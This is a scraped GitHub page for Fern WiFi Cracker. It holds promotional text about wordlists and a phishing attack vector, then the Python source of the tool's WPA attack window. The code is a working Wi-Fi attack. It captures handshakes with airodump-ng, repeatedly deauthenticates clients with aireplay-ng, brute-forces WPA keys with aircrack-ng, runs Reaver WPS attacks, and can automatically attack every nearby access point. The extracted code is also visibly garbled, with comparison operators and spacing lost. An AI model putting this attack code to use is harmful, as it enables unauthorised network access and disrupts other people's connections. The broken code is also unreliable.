Permalink
Join GitHub today
Aug 05, 2017 Fern WiFi Cracker. Fern WiFi Cracker is a hacking tool designed for Apple, Windows and Linux users. It was designed to be used as a testing software for network penetration and vulnerability. Nowadays it is used as a network hacking tool. Fern WiFi Cracker is used to discover vulnerabilities on a wireless network.
Savio-code / fern-wifi-cracker. Pull requests 0. Projects 0 Security Insights Dismiss Join GitHub today. Where i can download good WPA wordlist #57. GoogleCodeExporter opened this issue Mar 23, 2015 1 comment Comments. Copy link Quote reply. If you wish to use Fern Pro. Also Crack WPA/WPA2 without wordlist with the new WiFi Phishing attack vector view demo NEW. WiFi (WPA/WPA2/WEP/WPS). Fern Wifi Cracker is a Wireless security auditing and attack software program written using the Python Programming Language and the Python Qt GUI library, the program is able to crack and recover WEP/WPA/WPS keys and also run other network based attacks on wireless or ethernet based networks. Jan 09, 2018 Fern Wifi Cracker Wpa Wordlist Download Fern Wifi Cracker Wpa Wordlist Download Our Word of the Year choice serves as a symbol of each years most meaningful events and lookup trends. It is an opportunity for us to reflect on the language and.AirCrack.
GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together.
Sign upimport re |
import time |
import subprocess |
import threading |
from core.fern import* |
from gui.attack_panel import* |
from core.functions import* |
from core.settings import* |
from core.variables import* |
from core import variables |
from PyQt5 import QtCore, QtGui, QtWidgets |
# |
# Wpa Attack window class for decrypting wep keys |
# |
classwpa_attack_dialog(QtWidgets.QDialog,Ui_attack_panel): |
update_client_signal = QtCore.pyqtSignal() |
new_access_point_detected_signal = QtCore.pyqtSignal() |
update_database_label_signal = QtCore.pyqtSignal() |
client_is_there_signal = QtCore.pyqtSignal() |
client_not_in_list_signal = QtCore.pyqtSignal() |
update_word_signal = QtCore.pyqtSignal('QString') |
update_progressbar_signal = QtCore.pyqtSignal() |
update_speed_signal = QtCore.pyqtSignal('QString') |
wpa_key_found_signal = QtCore.pyqtSignal() |
deauthenticating_signal = QtCore.pyqtSignal() |
handshake_captured_signal = QtCore.pyqtSignal() |
Stop_progress_display_signal = QtCore.pyqtSignal() |
bruteforcing_signal = QtCore.pyqtSignal() |
set_maximum_signal = QtCore.pyqtSignal() |
wpa_key_not_found_signal = QtCore.pyqtSignal() |
change_tree_item_signal = QtCore.pyqtSignal() |
start_automated_attack_signal = QtCore.pyqtSignal() |
stop_scan_signal = QtCore.pyqtSignal() |
wordlist_lines_counted_signal = QtCore.pyqtSignal('QString') |
def__init__(self): |
QtWidgets.QDialog.__init__(self) |
self.setupUi(self) |
self.retranslateUi(self) |
self.setWindowModality(QtCore.Qt.ApplicationModal) |
self.access_point =str() |
self.client_list = [] |
self.started =False# If False it means attack is not active or has been stopped, can be used to control process |
self.wordlist =str() |
self.settings = Fern_settings() # For saving settings |
self.wps_update_timer = QtCore.QTimer(self) |
self.wps_update_timer.timeout.connect(self.set_if_WPS_Support) |
self.wps_update_timer.start(1000) |
self.attack_button.clicked.connect(self.launch_attack) |
self.dictionary_set.clicked.connect(self.dictionary_setting) |
self.update_client_signal.connect(self.update_client_list) |
self.client_not_in_list_signal.connect(self.display_client) |
self.client_is_there_signal.connect(self.client_available) |
self.wps_attack_radio.clicked.connect(self.check_reaver_status) |
self.deauthenticating_signal.connect(self.deauthenticating_display) |
self.handshake_captured_signal.connect(self.handshake_captured) |
self.bruteforcing_signal.connect(self.bruteforce_display) |
self.wpa_key_found_signal.connect(self.wpa_key_found) |
self.update_word_signal['QString'].connect(self.update_word_label) |
self.update_progressbar_signal.connect(self.update_progress_bar) |
self.update_speed_signal['QString'].connect(self.update_speed_label) |
self.wpa_key_not_found_signal.connect(self.key_not_found) |
self.set_maximum_signal.connect(self.set_maximum) |
self.Stop_progress_display_signal.connect(self.display_label) |
self.wordlist_lines_counted_signal['QString'].connect(self.set_progress_bar) |
iflen(self.client_list) 0: |
threading.Thread(target=self.auto_add_clients).start() |
victim_access_point =sorted(wpa_details.keys())[0] |
variables.victim_mac = wpa_details[victim_access_point][0] |
variables.victim_channel = wpa_details[victim_access_point][1] |
variables.victim_access_point = victim_access_point |
victim_power = wpa_details[victim_access_point][3] |
victim_speed = wpa_details[victim_access_point][2] |
cracked_key = get_key_from_database(variables.victim_mac,'WPA') |
if(cracked_key): |
self.key_label.setVisible(True) |
self.key_label.setText('<font color=red>WPA KEY: %s</font>'%(cracked_key)) |
else: |
self.key_label.setVisible(False) |
self.essid_label.setText('<font color=red>%s</font>'%(str(victim_access_point))) |
self.bssid_label.setText('<font color=red>%s</font>'%(str(variables.victim_mac))) |
self.channel_label.setText('<font color=red>%s</font>'%(str(variables.victim_channel))) |
self.power_label.setText('<font color=red>%s</font>'%(str(victim_power))) |
self.encrypt_wep_label.setText('<font color=red>WPA</font>') |
self.set_if_WPS_Support() |
############## ATACK PANEL METHODS ##################### |
self.access_points =set() |
self.client_list = [] |
self.index =0 |
self.isfinished =False |
self.control =True |
self.cracked_keys =0 |
self.thread_control =True |
self.select_client =str() |
self.progress_bar_max =int() |
self.wpa_key_commit =str() |
self.current_word=str() |
self.word_number =int() |
self.current_speed =str() |
self.access_points =set() |
self.mac_address =str() |
self.wifi_icon = QtGui.QPixmap('%s/resources/radio-wireless-signal-icone-5919-96.png'%os.getcwd()) |
self.new_access_point_detected_signal.connect(self.display_new_access_point) |
self.ap_listwidget.itemSelectionChanged.connect(self.display_selected_target) |
self.start_automated_attack_signal.connect(self.wpa_launch_attack) |
self.change_tree_item_signal.connect(self.change_treeItem) |
self.wpa_disable_items() |
self.ap_listwidget.clear() |
threading.Thread(target=self.Check_New_Access_Point).start() |
self.keys_cracked_label.setVisible(False) |
self.display_current_wordlist() # Display previous wordlist |
self.setStyleSheet('background-image: url('%s/resources/binary_2.png');color:rgb(172,172,172);'%(os.getcwd())) |
self.attack_type_combo.setStyleSheet('color: rgb(172,172,172);background-color: black;font: %spt;'%(font_size())) |
self.set_Key_Clipbord() |
############## CLIPBOARD AND CONTEXT METHODS ##################### |
defset_Key_Clipbord(self): |
self.clipboard_key =str() |
self.clipbord = QtWidgets.QApplication.clipboard() |
self.key_label.setContextMenuPolicy(QtCore.Qt.CustomContextMenu) |
self.wps_pin_label.setContextMenuPolicy(QtCore.Qt.CustomContextMenu) |
self.key_label.customContextMenuRequested[QtCore.QPoint].connect(self.show_key_menu) |
self.wps_pin_label.customContextMenuRequested[QtCore.QPoint].connect(self.show_wps_key_menu) |
defCopy_Key(self,key_type): |
key_string =str() |
if(key_type 'WPS PIN'): |
key_string =self.wps_pin_label.text() |
actual_key = re.findall('WPS PIN: ([S w]+)</font>',key_string) |
if(actual_key): |
self.clipboard_key = actual_key[0] |
else: |
key_string =self.key_label.text() |
actual_key = re.findall('WPA KEY: ([S w]+)</font>',key_string) |
if(actual_key): |
self.clipboard_key = actual_key[0] |
self.clipbord.setText(self.clipboard_key) |
defshow_key_menu(self,pos): |
menu = QtWidgets.QMenu() |
copy_action =object() |
convert_ascii_action =object() |
convert_hex_action =object() |
copy_action = menu.addAction('Copy Key') |
selected_action = menu.exec_(self.key_label.mapToGlobal(pos)) |
if(selected_action copy_action): |
self.Copy_Key('OTHER KEY') |
defshow_wps_key_menu(self,pos): |
menu = QtWidgets.QMenu() |
copy_action = menu.addAction('Copy WPS Pin') |
selected_action = menu.exec_(self.key_label.mapToGlobal(pos)) |
if(selected_action copy_action): |
self.Copy_Key('WPS PIN') |
############## END OF CLIPBOARD AND CONTEXT METHODS ################# |
defset_Progressbar_color(self,color): |
COLOR_STYLE='' |
QProgressBar { |
border: 2px solid %s; |
border-radius: 10px; |
} |
QProgressBar::chunk { |
background-color: %s; |
} |
'' |
self.progressBar.setStyleSheet(COLOR_STYLE% (color,color)) |
defdisplay_selected_target(self): |
self.client_list = [] |
self.attack_type_combo.clear() |
selected_item =self.ap_listwidget.currentItem() |
victim_access_point =str(selected_item.text()) |
# wpa_details = {'Elite': ['00:C0:CA:8B:15:62', '1', '54', '10']} |
variables.victim_mac = wpa_details[victim_access_point][0] |
variables.victim_channel = wpa_details[victim_access_point][1] |
variables.victim_access_point = victim_access_point |
victim_power = wpa_details[victim_access_point][3] |
victim_speed = wpa_details[victim_access_point][2] |
self.essid_label.setText('<font color=red>%s</font>'%(str(victim_access_point))) |
self.bssid_label.setText('<font color=red>%s</font>'%(str(variables.victim_mac))) |
self.channel_label.setText('<font color=red>%s</font>'%(str(variables.victim_channel))) |
self.power_label.setText('<font color=red>%s</font>'%(str(victim_power))) |
self.encrypt_wep_label.setText('<font color=red>WPA</font>') |
self.set_if_WPS_Support() |
cracked_key = get_key_from_database(variables.victim_mac,'WPA') |
if(cracked_key): |
self.key_label.setVisible(True) |
self.key_label.setText('<font color=red>WPA KEY: %s</font>'%(cracked_key)) |
self.tip_display() |
else: |
self.key_label.setVisible(False) |
self.client_update() |
self.update_client_signal.emit() |
iflen(self.client_list) 0: |
threading.Thread(target=self.auto_add_clients).start() |
defshow_tips(self): |
tips = tips_window() |
tips.type =2 |
tips.setWindowTitle('Tips') |
tips.label_2.setText('To copy the successfully cracked keys to clipboard, Please right click') |
tips.label_3.setText('on the key of your choice and select 'Copy'.') |
tips.label_4.setText('You can also convert between ASCII to HEX keys for WEP.') |
tips.label_5.setVisible(False) |
tips.exec_() |
deftip_display(self): |
if(self.settings.setting_exists('copy key tips')): |
if(self.settings.read_last_settings('copy key tips') '0'): |
self.show_tips() |
else: |
self.settings.create_settings('copy key tips','1') |
self.show_tips() |
defdisplay_access_points(self): |
self.ap_listwidget.clear() |
self.ap_listwidget.setSpacing(12) |
for access_point in wpa_details.keys(): |
self.access_points.add(access_point) |
item = QtWidgets.QListWidgetItem(self.ap_listwidget) |
icon = QtGui.QIcon() |
icon.addPixmap(self.wifi_icon) |
item.setIcon(icon) |
item.setText(access_point) |
self.ap_listwidget.addItem(item) |
self.ap_listwidget.sortItems(QtCore.Qt.AscendingOrder) |
self.ap_listwidget.setMovement(QtWidgets.QListView.Snap) |
defCheck_New_Access_Point(self): |
while(True): |
updated_list =set(wpa_details.keys()) |
if(True): |
new_list =self.access_points.symmetric_difference(updated_list) |
if(len(list(new_list))): |
self.new_access_point_detected_signal.emit() |
time.sleep(4) |
defdisplay_new_access_point(self): |
self.ap_listwidget.setSpacing(12) |
new_access_points =self.access_points.symmetric_difference(set(wpa_details.keys())) |
for access_point inlist(new_access_points): |
self.access_points.add(access_point) |
item = QtWidgets.QListWidgetItem(self.ap_listwidget) |
icon = QtGui.QIcon() |
icon.addPixmap(self.wifi_icon) |
item.setIcon(icon) |
item.setText(access_point) |
self.ap_listwidget.addItem(item) |
self.ap_listwidget.sortItems(QtCore.Qt.AscendingOrder) |
self.ap_listwidget.setMovement(QtWidgets.QListView.Snap) |
# |
# SIGNALS AND SLOTS |
# |
defwpa_disable_items(self): |
self.cracking_label_2.setEnabled(False) |
self.injecting_label.setEnabled(False) |
self.associate_label.setEnabled(False) |
self.injection_work_label_2.setEnabled(False) |
self.gathering_label.setEnabled(False) |
self.progressBar.setValue(0) |
self.set_Progressbar_color('#8B0000') # RED |
self.ivs_progress_label.setEnabled(False) |
self.dictionary_set.setVisible(False) |
self.injecting_label.setText('Deauthentication Status') |
self.associate_label.setText('Probing Access Point') |
self.injection_work_label_2.setText('Current Dictionary File') |
self.ivs_progress_label.setText('Current Phrase') |
self.cracking_label_2.setText('Bruteforcing Encryption') |
self.gathering_label.setText('Handshake Status') |
self.finished_label.setText('Finished') |
self.finished_label.setEnabled(False) |
self.dictionary_set.setVisible(True) |
self.key_label.setVisible(False) |
self.attack_type_combo.setEditable(True) |
ifself.automate_checkbox.isChecked() False: |
self.keys_cracked_label.setVisible(False) |
self.wps_pin_label.setVisible(False) |
self.attack_button.setText('Attack') |
defset_if_WPS_Support(self,messagebox=False): |
victim_mac = variables.victim_mac |
ifnot variables.wps_functions.is_WPS_Device(victim_mac): |
self.wps_support_label.setEnabled(False) |
self.wps_support_label.setText('Supports WPS') |
if(messagebox): |
QtWidgets.QMessageBox.warning(self,'WPS Device Support','WPS (WIFI Protected Setup) is not supported or is disabled by the selected access point') |
self.regular_attack_radio.setChecked(True) |
return |
self.wps_support_label.setEnabled(True) |
self.wps_support_label.setText('<font color=yellow>Supports WPS</font>') |
defcheck_reaver_status(self): |
ifnot variables.wps_functions.reaver_Installed(): |
answer = QtWidgets.QMessageBox.question(self,'Reaver not Detected', |
''The Reaver tool is currently not installed,The tool is necessary for attacking WPS Access Points.nnDo you want to open the download link?'', |
QtWidgets.QMessageBox.Yes,QtWidgets.QMessageBox.No) |
if(answer QtWidgets.QMessageBox.Yes): |
variables.wps_functions.browse_Reaver_Link() |
self.regular_attack_radio.setChecked(True) |
return |
self.set_if_WPS_Support(True) |
############################################################################ |
defcancel_wpa_attack(self): |
subprocess.getstatusoutput('killall airodump-ng') |
subprocess.getstatusoutput('killall aircrack-ng') |
subprocess.getstatusoutput('killall aireplay-ng') |
self.attack_button.clicked.disconnect(self.cancel_wpa_attack) |
self.attack_button.clicked.connect(self.launch_attack) |
icon = QtGui.QIcon() |
icon.addPixmap(QtGui.QPixmap('%s/resources/wifi_4.png'%(os.getcwd()))) |
self.attack_button.setIcon(icon) |
self.attack_button.setText('Attack') |
self.thread_control =True |
self.started =False |
if(self.wps_attack_radio.isChecked()): |
variables.wps_functions.stop_Attack_WPS_Device() |
defupdate_client_list(self): |
client_mac_addresses = [] |
for mac_address inself.client_list: |
ifstr(mac_address) notin client_mac_addresses: |
client_mac_addresses.append(str(mac_address)) |
self.attack_type_combo.clear() |
self.attack_type_combo.addItems(client_mac_addresses) |
ifbool(client_mac_addresses): |
if(self.automate_checkbox.isChecked()): |
ifself.thread_control True: |
self.wpa_launch_attack() |
defdisplay_client(self): |
self.ivs_progress_label.setEnabled(True) |
self.ivs_progress_label.setText('<font color=red>Automatically probing and adding clients mac-addresses, please wait...</font>') |
defclient_available(self): |
self.ivs_progress_label.setEnabled(False) |
self.ivs_progress_label.setText('Current Phrase') |
defdeauthenticating_display(self): |
self.injecting_label.setEnabled(True) |
self.injecting_label.setText('<font color=yellow>Deauthenticating %s</font>'%(self.select_client)) |
defhandshake_captured(self): |
self.gathering_label.setEnabled(True) |
self.gathering_label.setText('<font color=yellow>Handshake Captured</font>') |
ifself.settings.setting_exists('capture_directory'): |
shutil.copyfile('/tmp/fern-log/WPA-DUMP/wpa_dump-01.cap', |
self.settings.read_last_settings('capture_directory') +'/%s_Capture_File(WPA).cap'%(variables.victim_access_point)) |
defbruteforce_display(self): |
self.cracking_label_2.setEnabled(True) |
self.cracking_label_2.setText('<font color=yellow>Bruteforcing WPA Encryption</font>') |
defwpa_key_found(self): |
icon = QtGui.QIcon() |
icon.addPixmap(QtGui.QPixmap('%s/resources/wifi_4.png'%(os.getcwd()))) |
self.attack_button.setIcon(icon) |
self.attack_button.setText('Attack') |
self.new_automate_key() |
wpa_key_read = reader('/tmp/fern-log/WPA-DUMP/wpa_key.txt') |
self.finished_label.setEnabled(True) |
self.finished_label.setText('<font color=yellow>Finished</font>') |
self.key_label.setEnabled(True) |
self.cancel_wpa_attack() |
self.key_label.setVisible(True) |
self.key_label.setText('<font color=red>WPA KEY: %s</font>'%(wpa_key_read)) |
self.set_Progressbar_color('green') |
ifself.wpa_key_commit 0: |
set_key_entries(variables.victim_access_point,variables.victim_mac,'WPA',wpa_key_read,variables.victim_channel) #Add WPA Key to Database Here |
self.update_database_label_signal.emit() |
self.wpa_key_commit +=1 |
self.isfinished =True |
self.tip_display() # Display tips |
defupdate_word_label(self,current_word): |
self.ivs_progress_label.setEnabled(True) |
self.ivs_progress_label.setText('<font color=yellow>%s</font>'%(current_word)) |
defupdate_progress_bar(self): |
self.progressBar.setValue(self.word_number) |
defupdate_speed_label(self,current_speed): |
self.finished_label.setEnabled(True) |
self.finished_label.setText('<font color=yellow>Speed: t%s k/s</font>'%(current_speed)) |
defdisplay_label(self): |
self.finished_label.setEnabled(True) |
self.finished_label.setText('<font color=yellow>Finished</font>') |
defkey_not_found(self): |
self.finished_label.setEnabled(True) |
self.finished_label.setText('<font color=yellow>Finished</font>') |
if'wpa_key.txt'in os.listdir('/tmp/fern-log/WPA-DUMP/'): |
pass |
else: |
self.ivs_progress_label.setEnabled(True) |
self.ivs_progress_label.setText('<font color=red>WPA Key was not found, please try another wordlist file</font>') |
ifbool(self.client_list): |
if(self.automate_checkbox.isChecked()): |
ifself.thread_control True: |
self.wpa_launch_attack() |
defset_maximum(self): |
self.progressBar.setValue(self.progress_bar_max) |
# |
# Threads For Automation |
# |
defauto_add_clients(self): |
loop_control =True |
temp_mac_address =str(variables.victim_mac.strip('')) |
while temp_mac_address notinself.client_list: |
if(self.wps_attack_radio.isChecked()): |
if(variables.wps_functions.is_WPS_Device(variables.victim_mac)): |
self.client_is_there_signal.emit() |
self.update_client_signal.emit() |
return |
iflen(self.client_list) >=1: |
self.client_is_there_signal.emit() |
self.update_client_signal.emit() |
break |
else: |
time.sleep(6) |
ifnotself.started: |
self.client_not_in_list_signal.emit() |
if(loop_control): |
threading.Thread(target=self.probe_for_Client_Mac).start() |
loop_control =False |
self.client_update() |
self.update_client_signal.emit() |
defprobe_for_Client_Mac(self): |
variables.exec_command('airodump-ng -a --channel %s --write /tmp/fern-log/WPA/zfern-wpa |
--output-format csv --encrypt wpa %s'%(variables.victim_channel,variables.monitor_interface)) |
def client_update(self): |
wpa_clients_str= reader('/tmp/fern-log/WPA/zfern-wpa-01.csv') |
wpa_clients_sort= wpa_clients_str[wpa_clients_str.index('Probed ESSIDs'):-1] |
for line in wpa_clients_sort.splitlines(): |
result= re.findall('(([0-9A-F]{2}:){5}[0-9A-F]{2})',line) |
if(len(result) 2): |
if(result[1][0] variables.victim_mac): |
self.client_list.append(result[0][0]) |
def launch_brutefore(self): |
current_word_regex= re.compile('Current passphrase: ([ws!@#$%^&*()-=_+]+)',re.IGNORECASE) |
keys_speed_regex= re.compile('(d+.?d+) k/s',re.IGNORECASE) |
keys_tested_regex= re.compile('(d+) keys tested',re.IGNORECASE) |
crack_process= subprocess.Popen('cd /tmp/fern-log/WPA-DUMP/ naircrack-ng -a 2 -w '%s' wpa_dump-01.cap -l wpa_key.txt'% (self.wordlist), |
shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE) |
stdout= crack_process.stdout |
while'wpa_key.txt'notin os.listdir('/tmp/fern-log/WPA-DUMP/'): |
stdout_read= stdout.readline().decode('ascii',errors='ignore') |
self.current_word =str() |
current_word= current_word_regex.findall(stdout_read) |
if(current_word): |
self.current_word = current_word[0] |
self.update_word_signal.emit(self.current_word) |
word_number= keys_tested_regex.findall(stdout_read) |
if(word_number): |
self.word_number =int(word_number[0]) |
self.update_progressbar_signal.emit() |
current_speed= keys_speed_regex.findall(stdout_read) |
if(current_speed): |
self.current_speed = current_speed[0] |
self.update_speed_signal.emit(self.current_speed) |
self.wpa_key_found_signal.emit() |
def wpa_capture(self): |
monitor_interface= variables.monitor_interface |
variables.exec_command('%s airodump-ng --bssid %s --channel %s -w /tmp/fern-log/WPA-DUMP/wpa_dump %s'%(variables.xterm_setting,variables.victim_mac,variables.victim_channel,monitor_interface)) |
def deauthenticate_client(self): |
monitor_interface= variables.monitor_interface |
variables.exec_command('%s aireplay-ng -a %s -c %s -0 5 %s'%(variables.xterm_setting,variables.victim_mac,self.select_client,monitor_interface)) |
def capture_check(self): |
variables.exec_command('cd /tmp/fern-log/WPA-DUMP/ n aircrack-ng *.cap | tee capture_status.log') |
def capture_loop(self): |
time.sleep(3) |
self.deauthenticating_signal.emit() |
while'1 handshake'notin reader('/tmp/fern-log/WPA-DUMP/capture_status.log'): |
if(self.started False): # Break deauthentication loop if attack has been stopped |
return |
threading.Thread(target=self.deauthenticate_client).start() |
time.sleep(10) |
threading.Thread(target=self.capture_check).start() |
self.handshake_captured_signal.emit() |
subprocess.getstatusoutput('killall airodump-ng') |
subprocess.getstatusoutput('killall aireplay-ng') |
time.sleep(1) |
self.bruteforcing_signal.emit() |
threading.Thread(target=self.launch_brutefore).start() |
threading.Thread(target=self.wordlist_check).start() |
def wordlist_check(self): |
control_word=0 |
while control_word !=1: |
controller=self.current_word |
time.sleep(30) |
if controller self.current_word: |
control_word=1 |
self.set_maximum_signal.emit() |
self.wpa_key_not_found_signal.emit() |
def display_current_wordlist(self): |
if(self.settings.setting_exists('wordlist')): |
get_temp_name=self.settings.read_last_settings('wordlist') #Just for displaying name of wordlist to label area |
self.wordlist = get_temp_name |
split_name= get_temp_name.split(os.sep) |
if(split_name): |
filename= split_name[-1] |
self.injection_work_label_2.setEnabled(True) |
self.injection_work_label_2.setText('<font color=yellow><b>%s</b></font>'%(filename)) |
else: |
self.injection_work_label_2.setEnabled(True) |
self.injection_work_label_2.setText('<font color=red><b>Select Wordlist</b></font>') |
def launch_attack(self): |
if(self.automate_checkbox.isChecked()): |
threading.Thread(target=self.launch_attack_2).start() |
else: |
self.wpa_launch_attack() |
def launch_attack_2(self): |
self.isfinished =True |
for index,access_point inenumerate(wpa_details.keys()): |
variables.victim_access_point = access_point |
variables.victim_mac = wpa_details[access_point][0] |
variables.victim_channel = wpa_details[access_point][1] |
while(self.isfinished False): |
time.sleep(4) |
ifself.control False: |
break |
if(self.index (len(wpa_details.keys()) -1)): |
self.control =False |
if(index >=1): |
self.change_tree_item_signal.emit() |
self.start_automated_attack_signal.emit() |
self.index = index |
self.isfinished =False |
while(self.thread_control False): |
time.sleep(1) |
def change_treeItem(self): |
if(self.automate_checkbox.isChecked()): |
self.ap_listwidget.setCurrentItem(self.ap_listwidget.item(self.index)) |
self.display_selected_target() |
def new_automate_key(self): |
self.cracked_keys +=1 |
if(self.automate_checkbox.isChecked()): |
self.keys_cracked_label.setVisible(True) |
self.keys_cracked_label.setText('<font color=yellow><b>%s keys cracked</b></font>'%(str(self.cracked_keys))) |
else: |
self.keys_cracked_label.setVisible(False) |
def wpa_launch_attack(self): |
self.wpa_key_commit =0 |
self.wpa_disable_items() |
if(is_already_Cracked(variables.victim_mac,'WPA')): |
answer= QtWidgets.QMessageBox.question(self,'Access Point Already Cracked',variables.victim_access_point +''s key already exists in the database, Do you want to attack and update the already saved key?',QtWidgets.QMessageBox.Yes,QtWidgets.QMessageBox.No); |
if(answer QtWidgets.QMessageBox.No): |
self.control =True |
return |
if(self.wps_attack_radio.isChecked()): # WPS Attack Mode |
self.control =True |
self.wpa_disable_items() |
variables.wps_functions.victim_MAC_Addr = variables.victim_mac |
self.set_WPS_Objects(variables.wps_functions) |
variables.wps_functions.start() |
self.isfinished =False |
self.progressBar.setValue(0) |
self.attack_button.clicked.disconnect(self.launch_attack) |
self.attack_button.clicked.connect(self.cancel_wpa_attack) |
icon= QtGui.QIcon() |
icon.addPixmap(QtGui.QPixmap('%s/resources/stop.png'%(os.getcwd()))) |
self.attack_button.setIcon(icon) |
self.attack_button.setText('Stop') |
self.started =True |
self.thread_control =False |
return |
self.select_client =self.attack_type_combo.currentText() |
if(self.select_client str()): |
QtWidgets.QMessageBox.warning(self,'WPA Attack Requirement','At least one client MAC-Address asscociated with the Access Point is required to successfully attack the WPA Encryption, If you know a client MAC Address you can add it manually or wait for the probing process to detect client addresses') |
self.attack_type_combo.setFocus() |
return |
ifnot Check_MAC(self.select_client): |
QtWidgets.QMessageBox.warning(self,'Invalid Client MAC Address',variables.invalid_mac_address_error.strip('/n')) |
return |
self.stop_scan_signal.emit() |
subprocess.getstatusoutput('killall airodump-ng') |
subprocess.getstatusoutput('killall airmon-ng') |
subprocess.getstatusoutput('rm -r /tmp/fern-log/WPA-DUMP/*') |
ifself.select_client str(): |
self.associate_label.setEnabled(True) |
self.associate_label.setText('<font color=red>Client mac-address is needed</font>') |
else: |
ifnotself.settings.setting_exists('wordlist'): |
self.injection_work_label_2.setEnabled(True) |
self.injection_work_label_2.setText('<font color=red><b>Select Wordlist</b></font>') |
else: |
get_temp_name=self.settings.read_last_settings('wordlist') #Just for displaying name of wordlist to label area |
split_name= get_temp_name.split(os.sep) |
if(split_name): |
filename= split_name[-1] |
self.injection_work_label_2.setEnabled(True) |
self.injection_work_label_2.setText('<font color=yellow><b>%s</b></font>'%(filename)) |
else: |
self.injection_work_label_2.setEnabled(True) |
self.injection_work_label_2.setText('<font color=red><b>Select Wordlist</b></font>') |
self.progressBar.setMaximum(10000) # Temporarily set the progressBar to 10000, until actual wordlist count is determined |
if(self.settings.setting_exists(get_temp_name)): # if the line count exists for previously used wordlist |
self.progress_bar_max =int(self.settings.read_last_settings(get_temp_name)) # set the progress_bar variable to the cached count |
self.progressBar.setMaximum(self.progress_bar_max) |
else: |
threading.Thread(target=self.find_dictionary_length,args=(get_temp_name,)).start() # open thread to count the number of lines in the new wordlist |
subprocess.getstatusoutput('killall airodump-ng') |
subprocess.getstatusoutput('killall aireplay-ng') |
self.associate_label.setEnabled(True) |
self.associate_label.setText('<font color=yellow>Probing Access Point</font>') |
subprocess.getstatusoutput('touch /tmp/fern-log/WPA-DUMP/capture_status.log') |
self.progressBar.setValue(0) |
self.attack_button.clicked.disconnect(self.launch_attack) |
self.attack_button.clicked.connect(self.cancel_wpa_attack) |
icon= QtGui.QIcon() |
icon.addPixmap(QtGui.QPixmap('%s/resources/stop.png'%(os.getcwd()))) |
self.attack_button.setIcon(icon) |
self.attack_button.setText('Stop') |
self.started =True |
self.thread_control =False |
threading.Thread(target=self.wpa_capture).start() |
threading.Thread(target=self.capture_loop).start() |
def find_dictionary_length(self,filename): |
self.progress_bar_max = line_count(filename) |
self.wordlist_lines_counted_signal.emit(filename) |
def set_progress_bar(self,filename): |
self.progressBar.setMaximum(self.progress_bar_max) |
self.settings.create_settings(filename,str(self.progress_bar_max)) |
def dictionary_setting(self): |
filename= QtWidgets.QFileDialog.getOpenFileName(self,'Select Wordlist','')[0] |
if(filename): |
self.settings.create_settings('wordlist',filename) |
get_temp_name=self.settings.read_last_settings('wordlist') |
self.wordlist = get_temp_name |
split_name= get_temp_name.replace('/','n') |
filename_split= split_name.splitlines() |
try: |
filename= filename_split[-1] |
exceptIndexError: |
self.injection_work_label_2.setText('<font color=red><b>Select Wordlist</b></font>') |
self.injection_work_label_2.setEnabled(True) |
self.injection_work_label_2.setText('<font color=yellow><b>%s</b></font>'%(filename)) |
# WPS AND REGULAR ATTACK STARTUP |
def set_WPS_Objects(self,instance): |
self.progressBar.setMaximum(100) |
self.progressBar.setValue(0) |
instance.Associating_with_WPS_device_signal.connect(self.associating_wps) |
instance.Bruteforcing_WPS_Device_signal.connect(self.associated_bruteforing) |
instance.WPS_Progress_signal.connect(self.updating_progress) |
instance.Cracked_WPS_Pin_signal.connect(self.display_WPS_pin) |
instance.Cracked_WPS_Key_signal.connect(self.display_Cracked_Key) |
def associating_wps(self): |
self.associate_label.setEnabled(True) |
self.associate_label.setText('<font color=yellow>Associating with WPS Device</font>') |
def associated_bruteforing(self): |
self.injecting_label.setEnabled(True) |
self.gathering_label.setEnabled(True) |
self.injecting_label.setText('<font color=yellow>Associated with %s</font>'% variables.victim_mac) |
self.gathering_label.setText('<font color=yellow>Bruteforcing WPS Device</font>') |
def updating_progress(self): |
self.ivs_progress_label.setEnabled(True) |
self.cracking_label_2.setEnabled(True) |
value=int(float(variables.wps_functions.progress)) |
self.progressBar.setValue(value) |
if(value <33): |
self.set_Progressbar_color('#8B0000') # RED |
elif(value <66): |
self.set_Progressbar_color('#CCCC00') # YELLOW |
else: |
self.set_Progressbar_color('green') |
self.ivs_progress_label.setText('<font color=yellow>'+ variables.wps_functions.progress +'% Complete</font>') |
self.cracking_label_2.setText('<font color=yellow>Updating Progress</font>') |
def display_WPS_pin(self): |
self.wps_pin_label.setEnabled(True) |
self.wps_pin_label.setVisible(True) |
self.wps_pin_label.setText('<font color=red>WPS PIN: '+ variables.wps_functions.get_keys()[0] +'</font>' ) |
def display_Cracked_Key(self): |
self.key_label.setEnabled(True) |
self.key_label.setVisible(True) |
self.key_label.setText('<font color=red>WPA KEY: '+ variables.wps_functions.get_keys()[1] +'</font>' ) |
self.set_Progressbar_color('green') |
set_key_entries(variables.victim_access_point,variables.victim_mac,'WPA',variables.wps_functions.get_keys()[1],variables.victim_channel) |
self.update_database_label_signal.emit() |
self.finished_label.setText('<font color=yellow>Finished</font>') |
self.new_automate_key() |
self.cancel_wpa_attack() |
self.isfinished =True |
self.tip_display() # Display Tips |
def closeEvent(self,event): |
self.wps_update_timer.stop() |
Kali Fern Wifi
Copy lines Copy permalink